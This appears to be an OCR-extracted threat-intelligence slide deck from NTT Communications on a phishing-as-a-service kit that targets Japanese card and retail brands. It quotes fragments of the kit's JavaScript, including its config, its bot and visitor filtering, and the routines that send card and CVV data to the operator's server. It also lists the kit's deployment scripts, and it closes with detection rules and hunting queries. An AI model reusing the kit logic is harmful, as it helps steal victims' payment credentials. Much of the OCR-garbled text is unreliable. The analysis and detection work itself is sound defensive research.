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1. About the two Phishers
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Phishing as a Service (Phaa$) usiness | T

o AN FEZZIZRITBICHDESES IR —EANFEEL TS, (as a Service)

o IS IIFEHREEIERT. J1vS ) FEBRE 1B 9 B18hDPhishing as a Service
HMFEL TV,

o H—H1JTelegramBRETIRFEEINTWS,
o FATEAYIRIN—RIVETIFBET., D4y TR ZEITUP IR B,
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2. Analysis of Phishing Sites
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Phishing Site Analysis (Case 1)
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Case 1

« /[config/setting.js : J1V> > YA NDERTE

» /js/infra.js : WebSocketDYLIEPIO—F> VLR, ConfigDEUSYLIERE

o [config/app.js, /js/utils.js, /is/common.js : T4v> >4 17 WICEIN LR
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const OTTO_CONF = \W ~ N Ly AN
/] U5 RE ° 7’(/7/0-5-/( |\0)|:|2L_E.o
site: "jp-rakuten"
// BRSSHhht

serviceUrl: 'https://s. | KKK ¢ SerVICeurI — l“%%ﬁ%ﬁERbOD_:F)O\

// REFRFEMRR

isDebug: false BETv3 > 54 NOEMEICEND B,
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// (R UAParser.js ¥HIBniR&ELER

function isVa?idDevice appConfig | | O UAPa Fse r_J S%{EDTO I:I —:\:\/7\‘3_5 o

const deviceType = result.device.type || 'desktop
console. log( 'deviceType:', deviceType

if (appConfig.pcAccess !'== '1° 1EDT(/\5LHJEEOD$E§*E

return true

return ['mobile', 'tablet'].includes(deviceType ¢ BOt@*ﬁ%”

// M UAParser.]s HIlHlaEA https://github.com/faisalman/ua-parser-js

function isBot
console. log( 'browserName: ', result.browser.name
return result.browser.name === 'bot'

© NTT Communications Corporation All Rights Reserved. 12
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Functions using serviceUrl

» serviceUrl + fapp-api/pw/config/list : ConfigU X FOEUF
« serviceUrl + /app-api/pw/cvv/create : T —DVERK

« serviceUrl + /app-api/pw/cvv/update : T —~DEF

« serviceUrl + /app-api/pw/cvv/get : T —HDEUS
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[is/infra.js

// IREVECIE
async function getConfig() {
try {

const res = await axios.get(OTTO_CONF.serviceUrl + "/app-api/pw/config/1

ist", {
params: {site: OTTO_CONF.site, type: 1}
});
if (res.data.code === 0 && Array.isArray(res.data.data)) {

const configObject = {};

res.data.data. forEach(item => {
configObject[item.configKey| = item.value;

});

sessionStorage.setItem('appConfig', JSON.stringify(configObject));

console. log("ECECRT7FE| sessionStorage");
return configObject;

; else {
console.error("iRIAEHBEXAFER");
return null;

b

} catch (error) {
console.error("3REXECEXIN:", error);
return null;

docomo
business

 configkeytZNICXT LT BIEZ

sessionStoragel F&il9 3,

serviceUrl + /app-api/pw/config/list
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{"code":0,"data": [{"id":56,"siteld":9,"site":null,"siteName":null,"type":1,"nam
e" : "EkIhBkiEHh ", "configKey" :"successRedirectUrl", "value":"https://www. rakuten.c
0.jp","valueType":1,"remark":null,"createTime":1730426284000,{"id":57,"siteld":
9,"site":null,"siteName":null,"type":1,"name":"Brzl","configKey" :"antiRed","valu
e":"0","valueType":2,"remark":null,"createTime":1730426284000},{"id":58,"sitel
d":9,"site":null,"siteName":null,"type":1,"name": " F/ZPCiHa", "configKey" :"pcAcce
ss","value":"0","valueType":2,"remark":null,"createTime":1730426284000},{"id":5
9,"siteId":9,"site":null,"siteName":null,"type":1,"name":"#E4E-E£L","configKe
y":"refuseCardHead","value":"","valueType":1,"remark":null,"createTime":17304262
84000}, {"id":60,"siteId":9,"site":null,"siteName" :null,"type":1,"name":"FE2EAE
7", "configKey":"unattendedMode", "value'":"0","valueType":2,"remark":null,"create
Time":1730426284000),{"id":61,"siteld":9,"site":null,"siteName":null,"type":1,"n
ame":"fA1FFL","configKey":"allowCardHead" ,"value":"","valueType":1,"remark" :nul
1,"createTime":1730426284000},{"id":62,"siteId":9,"site":null,"siteName":null,"t
ype":1,"name" :"HTIEAEF", "configKey" :"index0ffSync","value":"0","valueType":
2,"remark":null,"createTime":1730426284000},{"id":63,"siteId":9,"site":null,"sit
eName":null,"type":1, "name":"{IRFEAEF", " "configKey":"card0ffSync","valu
e":"1","valueType":2,"remark":null,"createTime":1730426284000}],"msg":""
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js/common.js

try {
this.pwCvv.submitted = true;

w/cvv/update", this.pwCvv);
if (data.data) f{
while (true)
app—api/pw/cvv/get", {
params: {id: this.pwCvv.id}
r);
console. log(response.data.data)
// B
if (response.data.data.released === 1)

// RlFsession
this.pwCvv = response.data.data;

nse.data.data) );

tml';
break;

// B4
if (response.data.data.released ===

// RIFsession

this.pwCvv.released = 0;

this.pwCvv.submitted = false;
cvv/update", this.pwCvv);

nse.data.data) ) ;

this.isTips = true

// RlFisession
this.pwCvv = response.data.data;

nse.data.data) );
'.html';

console.log('waiting for release')

let {data} = await axios.put(OTTO_CONF.serviceUrl + "/app-api/p

let response = await axios.get(OTTO_CONF.serviceUrl + "/

sessionStorage.setItem("pwCvv", JSON.stringify(respo

location.href = response.data.data.nextProcess + '.h

await axios.put(OTTO_CONF.serviceUrl + "/app-api/pw/

sessionStorage.setItem("pwCvv", JSON.stringify(respo

break;
// EBEE—2
if (response.data.data.released === 3) {

sessionStorage.setItem("pwCvv", JSON.stringify(respo

location.href = response.data.data.currentProcess +

await new Promise(resolve => setTimeout(resolve,

+ BERUICT —HDEERR

docomo
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serviceUrl + fapp-api/pw/cvv/update

+ GIHRLIZT —HDEUS

serviceUrl + fapp-api/pw/cvv/get

g
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Phishing Site Analysis (Case 2)
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Vpass
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https://urlscan.io/result/b9316674-3872-4eb8-be7d-a34b4425alcd/
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o /config/setting.js : J1v> YA MDESTE

» /js/infra.js : WebSocketDALIB>/0—-F>JALI8, ConfigDEUSALIERE

o [config/app.js : 71V 17 >VICEAN2ULIE
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[config/setting.js

const OTTO_CONF = {
// BREFRAEHEKR, 0F, 18
"isDebug": @,
// RS5Hbak
"serviceURL": "https://s. | KGTcHEN' .
// FRIhEkFL At
"successURL": "https://www.smbc.co.jp/kojin/tenpo/soudan/otetsuduki",
// BREFX, 0: XF, 1: 7R
"redSwitch": 1,
// BAIPERKIARRE, EATTHRBFE —R, RTBIGEEFEBETLS, RBESBESHI
"maxVisits": 15,
// BREFRBPCiHE, 0&, 12
RIS EG | IS

// RBEREEX, &I AFESHI6A : "'411770,440393,498000"
"prohibitCardNumber™: "',
// EEARITEL

/1 ——> BERIBWITFK

// "allowCardNumber": "375414,375415,375416,379226,379227,379228,379229,3799
50,379951,379952,379953,379954,379955, 379956, 402280,402747,403747,405221,406338,
406339,406340,406587,406588,406589,406590,410047,410048,410049,410050,410051,437

789,440493,442262,449483,453224,456409,456442,456454,456482,456497,482111,48211

2,482114,482115,482116,482118,482120,482121,494052,494053,511654,512127,516997,5
17329,517369,517370,517377,517399,517437,517443,517747,519247,519915,520776,5207
95,521729,521780,521792,521797,521798, 522940, 522980,523748,525367,527394,528013,
529529,529537,531683,532655, 532737, 535310, 535316,535317, 535318, 535319, 536763, 537

150,537196,538624,538664,540482,543049,543568,545395, 545686, 547383,548171,55025

6,550282,552033,552350,552351,552411,553205,553206,555005,555048,555109, 556854, 5

58320,558321,558601,558602,558701,558850,560279",
"allowCardNumber": "",

// BREABRAY. 0&, 12
"isSync": 1,

// BRERABEXRAYL, 0&, 12
"isSyncLogin": 1,

/! BEBEABFRY. 08, 18
"isSyncPay": 1,

// REBAKSETIE. 05, 18
"isSkipBilling": 1,

// EERTIEER
"pageThanks": 2,

© NTT Communications Corporation All Rights Reserved.
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o T4V YA NDERTE,

= =

« serviceUrl = &

HRE A 0—F > 71

EJ1v> 2084 bOEMWEICEAN S,

o Case 1tfeNRBE,

s IE CEDIEBENZL,
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Functions using serviceUrl| disems

O—HIVARL =2 ERBHENETOXETIPY RUADMESE
» serviceUrl + /click/querylpClick : 3IX{E7cIP7 RUACED VI RAE 2 =889 3

+ serviceUrl + /click/updatePower : IX{S7TIP7 RUAZED 72 AZNH
/config/setting.js CaXTEUIABISZELES. powerDIEZ 1(CEEEL. IEARY A
NCUSAL RS S

» serviceUrl + /click/addClick : 3X{S7CIPV RLAD V) AE =2 NI NI B

© NTT Communications Corporation All Rights Reserved.
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Functions using serviceUrl

ERERLIZT — A DIENN - BB R

e serviceUrl + /cvv-tb/addOrUpdateCvvTb : T—IDFTARDEDHEER T

* serviceUrl + /cvv-tb/queryByld?id=: BX(CrDT —HZEFTI B

© NTT Communications Corporation All Rights Reserved.
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js/infra.js =
if (OTTO_CONF.isPC === 1 || (OTTO_CONF.isPC === 0 &&
test(navigator.userAgent
if (parselnt(localStorage.getItem("power" === 1 || parselnt(localS ~ W W—— ) —
torage.getItem("click" >= OTTO_CONF.maxVisits o OD —*/0 mEED %,{Ténét\
handleEnd
else
axios.get(OTTO_CONF.serviceURL + "/click/queryIpClick" . . i: \
/click/queryIpClick MERZN. LUF
if (res.data.power === 1 || res.data.count >= OTTO_CONF
maxVisits
handleEnd — \ ~ |_ |_ E \‘
DT =5 power el count IDIED
// S LEMEHEIRFRT K
localStorage.setItem("power", res.data.power === und
efined ? @ : res.data.power #%Hjj
localStorage.setItem("click", isNaN(res.data.count 4/ ,“D\énéo
?7 @ : res.data.count
wsConnection
else
handleEnd "id":107,"date":"2024-10-22T709:12:25","createDate":"2024-10-19T7T06:16:39","1i
p":"_" "behaviour":"-—>-—>-—>——>-—>——>——>——>" "power":0,"count":9
else
handleEnd
else if (OTTO_CONF.isDebug === @ && OTTO_CONF.redSwitch ===
// RHBRLL, ARITFERERE
wsConnection

© NTT Communications Corporation All Rights Reserved. 21



[js/infra.js O |

» [powerlDIEN1DIHZE.

/config/setting.js Ca&XESNIZIERRD
azciz5i%ggi%iTgizégimseisviqi;URLi "/click/updatePower" -U-’f |\(CIJ9\\/( I/g I\a_éo

location.href = OTTO_CONF.successURL; // MERHITEHEBkE

+ TOR. XAROIPY RLANSBE IR

UTH. T1v 54 NMEIFRIRSNIRIR
Do

© NTT Communications Corporation All Rights Reserved. 22



[config/app.js

b", this.cvv

S.CVvV

if (OTTO_CONF.isSync === @ // MBAFERT

this.cvv.queryState = 9

axios.post(0OTTO_CONF.serviceURL + "/cvv-tb/addOrUpdateCvvT

then(res =>
if (res.data > 0 // SBEFOREIFRE, FHEREIid
if (!JSON.parse(sessionStorage.getItem

cvv

// MREFARNAHIE

this.cvv.id = res.data; // &{Eid

sessionStorage.setItem("cvv", JSON.stringify(thi
location.href = locationPage

else
this.cvv.queryState = @
this.islLoading = false

catch(err =>
this.cvv.queryState = 0
this.islLoading = false

» /cvv-tb/addOrUpdateCvvTbZz{EF

yId?id=" + this.cvv.id

this.cvv.id = res.data.id; // W&{&Eid

if (res.data.state ===
axios.get(OTTO_CONF.serviceURL + '/cvv-tb/queryB
then(res =>

// if (res.data.queryState === 2) {
// locationPage = 'verification-index.ht
ml*
// } else {
// locationPage = 'info.html'
/7 }
this.cvv.queryState = res.data.queryState
this.cvv.wpTextl = res.data.wpTextl // F&1{%
BHRAP A
this.cvv.wpText2 = res.data.wpText2 // 5&afE
BRRIT R
sessionStorage.setItem("cvv", JSON.stringify
this.cvv
location.href = locationPage
else { // &K
this.cvv.queryState = @
this.isloading = false
this.isTips = true
sessionStorage.setItem("cvv", JSON.stringify(thi
S.cvv

catch(err =>
this.cvv.queryState = 0
this.islLoading = false
this.isTips = true
sessionStorage.setItem("cvv"

g
goc-o mo NT T Communications
Usiness ~_
else
axios.post(OTTO_CONF.serviceURL + postUrl, this.cvv
then(res =>
if (res.data.id !'= null // 8

/1 BETh

JSON.stringify(this.cv

LT, F—IhTF

EI IR T D

« BIFDT—AZEFI D553, /cvv-tb/queryByldTIEE T 3.

© NTT Communications Corporation All Rights Reserved.
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Comparison with other Phishing as a Service desi | <

HIDASA RTHBITUIL 7 ) AR I DL HA L. Chenlun(aka Sinkinto01)
DIt P14 RNTEREN S,

> Chenlun(aka Sinkinto01)(Z. Telegram_E T4y 08 A Nl > AN TES
H—EAZE=ZU T\,

https://www.domaintools.com/resources/blog/merry-phishmas-beware-us-postal-service-phishing-during-the-holidays/

https://www.domaintools.com/resources/blog/new-developments-usps-smishing-attacks/

© NTT Communications Corporation All Rights Reserved. 24
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3. Building an Environment for Phishing Sites
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Building a Phishing Sites dissm |

SHELL YAML SHELL SHELL CONFIG SHELL

deploy.sh docker- domain.sh install.sh nginx.conf reinstall.sh
compose.yml|

SHELL SHELL SHELE

setting.sh stop.sh update.sh

A=1="544NT. AOVUTJ MEEHUTCREZEBRI BI3HE
[CDULWTCTOFBAN D B,

© NTT Communications Corporation All Rights Reserved. 26
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Building a Phishing Sites
 deploy.sh : IRIEBEQMMDRAIUT S 0—-R-E1T

* clean.sh : IRIZHIPR
»  SDIR/docker-compose.yml : Docker Compose®D:&EJ71 I

* $DIR/deploy.sh : XZ1—BHEOZFRRABD AT MDELT

« SDIR/install.sh : docker-compose up

» SDIR/reinstall.sh : IRIEF{HI

e SDIR/domain.sh : serviceURLPEIR/VRIILDOURLRED RAA > ERTE
 SDIR/update.sh : J71JLDEF

« SDIR/stop.sh : docker-compose down

e $DIR/nginx.conf : nginx®config 71l
 SDIR/setting.js : 71> > B4 MAlDconfigd7A Il
*  $DIR/urlConfig.js : /\w75 57 REIDconfigdr71 Il

© NTT Communications Corporation All Rights Reserved. 27



Building a Phishing Sites dissms, | G

A=Yy RI S RCEDETE
 jp-aeon.sh : AEON Card

* jp-amazon.sh : Amazon

* jp-jcb.sh : JCB

* jp-smbc.sh : SMBC Vpass
e jp-tepco.sh: TEPCO

° etc.

© NTT Communications Corporation All Rights Reserved.
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4. Detection & Hunting
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10K (Indicator Of Kit) s | G

o v HA NMUEHLN TULBELfT.
4y dFy N, BREVDF—%FRE19 3
fDOA—=T -V =),

10K

o SigmaZzN\—AICLTLVS,

https://github.com/phish-report/IOK

© NTT Communications Corporation All Rights Reserved.
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Two Phishers Detection & Hunting Rule business | ETTemne

title: Two Phishers Phishing Kit Detection

description: |
Detect phishing sites that contain two distinctive
files named "/config/setting.js" and "/js/infra.js".
These files are indicative of a phishing kit developed
by Phishing as a Service.

JIIANCATFOIPNEENTWS |7,

- https://urlscan.io/result/55aca38e-392c-4f33-a27c-dabd32063f27/

- https://urlscan.io/result/b9316674-3872-4eb8-be7d-a34b4425alcd/

« /config/setting.js

detection:

« /js/infra.js

settingjs:

requests | contains: '/config/setting.js’

infrajs:

requests | contains: '/js/infra.js'

condition: settingjs and infrajs
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Thank you for your attention!

Your comments & feedbacks are always welcome!
Email : ic-nadsec@ntt.com

NH4Sec
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\/ Neltwork Analylbics for Security
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- Rakuten Card
https://urlscan.io/result/55aca38e-392c-4f33-a27c-dabd32063f27/
« SAISON Card
https://urlscan.io/result/cf974ec9-aa9c-45d7-a546-66563dacd504/
« AEON Card
https://urlscan.io/result/41f74cde-f6ac-43a8-876b-3541784a3c62/
« EPOS Card
https://urlscan.io/result/71bcc555-f53e-4430-8943-1b532a4f141c/

© NTT Communications Corporation All Rights Reserved.
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« SMBC Vpass
https://urlscan.io/result/b9316674-3872-4eb8-be7d-a34b4425alcd/

« JCB
https://urlscan.io/result/fd1a8100-8c76-4f59-b905-1074¢c36494b0/

« Amazon
https://urlscan.io/result/39a293dc-12bd-4229-96¢c2-d00bd14a71d4/

« TEPCO
https://urlscan.io/result/88c97fa9-e38e-43d2-8137-4849d7067ba8/

© NTT Communications Corporation All Rights Reserved.
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* mercari
https://urlscan.io/result/c0680dda-ed15-4123-89da-b85cb4ec65fc/
« Apple
https://urlscan.io/result/e053¢c999-69ef-4ef7-a105-c5bef401a42f/

urlscan search query
« filename:"/config/setting.js" AND filename:"/js/infra.js"
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